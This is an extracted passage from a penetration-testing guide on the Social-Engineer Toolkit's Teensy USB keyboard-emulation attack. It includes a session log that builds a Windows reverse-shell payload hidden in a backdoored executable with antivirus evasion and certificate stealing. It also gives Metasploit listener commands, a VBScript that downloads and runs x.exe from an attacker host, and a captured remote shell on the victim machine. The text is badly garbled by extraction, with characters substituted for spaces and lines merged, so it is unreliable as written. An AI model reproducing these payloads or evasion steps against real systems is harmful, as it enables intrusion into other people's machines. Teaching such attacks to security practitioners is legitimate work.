#,./set,,,,,,,,,,,,,,,,,..######..########.########,,,,,,,,,,,,,,,,.##....##.##..........##...,,,,,,,,,,,,,,,,.##.......##..........##...,,,,,,,,,,,,,,,,..######..######......##...,,,,,,,,,,,,,,,,.......##.##..........##...,,,,,,,,,,,,,,,,.##....##.##..........##...,,,,,,,,,,,,,,,,..######..########....##...,,,[333],,,,,,,The,Social3Engineer,Toolkit,(SET),,,,,,,,,,[333],,[333],,,,,,,,Created,by:,David,Kennedy,(ReL1K),,,,,,,,,[333],,[333],,,,,,,,Development,Team:,Thomas,Werth,,,,,,,,,,,,[333],,[333],,,,,,,,Development,Team:,JR,DePre,(pr1me),,,,,,,,[333],,[333],,,,,,,,Development,Team:,Joey,Furr,(j0fer),,,,,,,[333],,[333],,,,,,,,,,,,,,,,Version:,2.0.3,,,,,,,,,,,,,,,,,,,,[333],,[333],,,,,,,,,,,Codename:,'Trebuchet,Edition',,,,,,,,,,[333],,[333],,,,,,,,Report,bugs,to:,[email protected],,,,,,,[333],,[333],,,,,,,,,Follow,me,on,Twitter:,dave_rel1k,,,,,,,,,[333],,[333],,,,,,,,Homepage:,http://www.secmaniac.com,,,,,,,,[333],,,,Welcome,to,the,Social3Engineer,Toolkit,(SET).,Your,one,,,,stop,shop,for,all,of,your,social3engineering,needs..,,,,,DerbyCon,2011,Sep303Oct02,3,http://www.derbycon.com.,,,,,,Join,us,on,irc.freenode.net,in,channel,#setoolkit,,Select,from,the,menu:,,,,1),Spear3Phishing,Attack,Vectors,,,2),Website,Attack,Vectors,,,3),Infectious,Media,Generator,,,4),Create,a,Payload,and,Listener,,,5),Mass,Mailer,Attack,,,6),Arduino3Based,Attack,Vector,,,7),SMS,Spoofing,Attack,Vector,,,8),Wireless,Access,Point,Attack,Vector,,,9),Third,Party,Modules,,10),Update,the,Metasploit,Framework,,11),Update,the,Social3Engineer,Toolkit,,12),Help,,Credits,,and,About,,,99),Exit,the,Social3Engineer,Toolkit,set,>,,,

Page 67: it Man Pages

Traditionally, when you insert a DVD/CD or USB if autorun is disabled, your autorun.inf isn’t called and youcan’t execute your code automatically. With the Teensy HID based device you can emulate a keyboard andmouse. When you insert a device it will be detected as a keyboard, and with the microprocessor and onboardflash memory storage you can send a very fast set of keystrokes to the machine and completely compromiseit.

Ok, let’s create a wscript file, which will download an executable (the metasploit payload) and execute it.

We can see that the SET exported the teensy.pde to the reports/ folder. Now that the file is ready, we needto upload it to the arduino board. In the arduino software package select the Tools - Board - Teensy 2.0 ;Tools - USB Type: Keyboard and Mouse (not Serial). Then drag the pde file into the arduino interface andupload the code.

Do you notice something weird: the SET didn’t ask us for the IP address. This is because AUTO_DETECT isset to on in the config file, which means it automatically gave the payload the IP address of out ethernetaddress. So we need to change that if we want to change the IP address:

123456789

1011121314151617181920212223242526272829303132333435363738394041

set.>.6.[Arduino8Based.Attack.Vector]set:arduino.>.2.[WSCRIPT.HTTP.GET.MSF.Payload].Do.you.want.to.create.a.payload.and.listener.[yes|no]:.yesset:payloads.>.1.[Windows.Shell.Reverse_TCP]set:encoding.>.16..[Backdoored.Executable.(BEST)]set:payloads.>.PORT.of.the.listener.[443]:[8].Backdooring.a.legit.executable.to.bypass.Anti8Virus..Wait.a.few.seconds...[*].Backdoor.completed.successfully..Payload.is.now.hidden.within.a.legit.executable.[*].UPX.Encoding.is.set.to.ON,.attempting.to.pack.the.executable.with.UPX.encoding.[8].Packing.the.executable.and.obfuscating.PE.file.randomly,.one.moment.[*].Digital.Signature.Stealing.is.ON,.hijacking.a.legit.digital.certificate.[*].PDE.file.created..You.can.get.it.under.'reports/teensy.pde'[*].Be.sure.to.select."Tools",."Board",.and."Teensy.2.0.(USB/KEYBOARD)".in.Arduino.[*].If.your.running.into.issues.with.VMWare.Fusion.and.the.start.menu,.uncheckthe.'Enable.Key.Mapping'.under.preferences.in.VMWare.[*].Launching.MSF.Listener...[*].This.may.take.a.few.to.load.MSF...[8].***[8].*.WARNING:.Database.support.has.been.disabled[8].***..........=[.metasploit.v4.0.08release.[core:4.0.api:1.0]+.88.88=[.716.exploits.8.361.auxiliary.8.68.post+.88.88=[.226.payloads.8.27.encoders.8.8.nops.......=[.svn.r13462.updated.32.days.ago.(2011.08.01).resource.(src/program_junk/meta_config)>.use.exploit/multi/handlerresource.(src/program_junk/meta_config)>.set.PAYLOAD.windows/shell_reverse_tcpresource.(src/program_junk/meta_config)>.set.LHOST.0.0.0.0resource.(src/program_junk/meta_config)>.set.LPORT.443resource.(src/program_junk/meta_config)>.set.ExitOnSession.falseresource.(src/program_junk/meta_config)>.exploit.8j[*].Exploit.running.as.background.job.[*].Started.reverse.handler.on.0.0.0.0:443[*].Starting.the.payload.handler......

12

AUTO_DETECT=OFF...

Page 68: it Man Pages

Once the USB device is inserted on the victim machine the teensy.pde program is executed, which creates anomg.vbs script:

Here we can see that the VBScript actually only downloads the x.exe from the server, which in our case is10.1.1.2:80. We need to make sure that the apache is running on the attacker host and the x.exe file ispresent - http://10.1.1.2/x.exe (we need to copy it to the DocumentRoot from the./set/src/webattack/web_clone/site/template/x.exe). When the x.exe file is downloaded to the victimcomputer, it is executed, which connects back to the attacker computer on the port 443 - so we need to belistening on that port also.

We can also check that the right ports are opened on the attacker:

After the x.exe is executed we should see something like this:

And we’ve got a shell. But it would be wise to discuss the drawbacks of this method now:

When the teensy is plugged in, it displays all the commands, so they are visible to the user - and you’renot allowed to click anything while the script is working, because it executes commands in currently

123456789

10111213141516171819

strFileURL5=5"http://10.1.1.2/x.exe"strHDLocation5=5"x.exe"Set5objXMLHTTP5=5CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open5"GET",5strFileURL,5falseIf5objXMLHTTP.Status5=52005ThenSet5objADOStream5=5CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type5=51objADOStream.Write5objXMLHTTP.ResponseBodyobjADOStream.Position5=50Set5objFSO5=5Createobject("Scripting.FileSystemObject")If5objFSO.Fileexists(strHDLocation)5Then5objFSO.DeleteFile5strHDLocationSet5objFSO5=5NothingobjADOStream.SaveToFile5strHDLocationobjADOStream.CloseSet5objADOStream5=5NothingEnd5ifSet5objXMLHTTP5=5Nothing555

1234

#5netstat5_landtptcp555555550555555050.0.0.0:44355555555555550.0.0.0:*555555555555555LISTEN55555517430/rubytcp65555555055555505:::805555555555555555555:::*55555555555555555555LISTEN55555516670/apache2555

123456789

10111213141516171819

[*]5Command5shell5session515opened5(10.1.1.2:4435_>510.1.1.3:1402)5at5Fri5Sep502516:40:185+0200520115msf55exploit(handler)5>5sessions5Active5sessions===============555Id55Type55555555555Information55Connection55__55____55555555555___________55__________551555shell5windows55555555555555510.1.1.2:4435_>510.1.1.3:14025msf55exploit(handler)5>5sessions5_i51[*]5Starting5interaction5with51...5Microsoft5Windows5XP5[Version55.1.2600](C)5Copyright51985_20015Microsoft5Corp.5C:\Documents5and5Settings\deki\Desktop>555

Page 69: it Man Pages

active window (which would not be cmd.exe anymore, if we would have touched something).The x.exe is detected by the antivirus as a trojan horse, so it is immediately deleted, thus not beingexecuted. This results in a non successful attack, since we can’t get the victim’s shell.